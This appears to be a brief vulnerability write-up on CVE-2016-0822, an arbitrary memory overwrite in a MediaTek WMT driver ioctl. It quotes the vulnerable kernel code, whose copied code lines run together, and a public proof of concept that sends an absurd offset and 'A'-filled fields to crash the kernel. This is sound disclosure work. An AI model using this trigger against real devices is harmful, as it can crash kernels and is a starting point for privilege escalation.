CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

標籤：

• CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

 

//mediatek/kernel/drivers/combo/common/core/include/wmt_lib.htypedef struct {        UINT32 dowloadSeq;        UCHAR addRess[4];        UCHAR patchName[256];}WMT_PATCH_INFO,*P_WMT_PATCH_INFO;VOID wmt_lib_set_patch_num(unsigned long num){        P_DEV_WMT pWmtDev = &gDevWmt;        pWmtDev->patchNum = num;}        ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);  case WMT_IOCTL_SET_PATCH_INFO:{      ...      if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {                                WMT_ERR_FUNC("copy_from_user failed at %d\n", __LINE__);                                iRet = -EFAULT;                                break;                        }      ...      dWloadSeq = wMtPatchInfo.dowloadSeq;       //arbitrary memory overwrite. user can control dowloadSeq      osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,                                    sizeof(WMT_PATCH_INFO));

CVE-2016-0822 PoC :

https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c

 

        /* set some absurd offset, in hopes of causing panic or GPF */        overflow.dowloadSeq = 0x31337;        /* set obvious bogus data into data fields.         * If I had exploitation skills these would contain pointers to userland!         */        memset(&overflow.addRess, ‘A‘, 4);        memset(&overflow.patchName, ‘A‘, 256);        ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);

CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158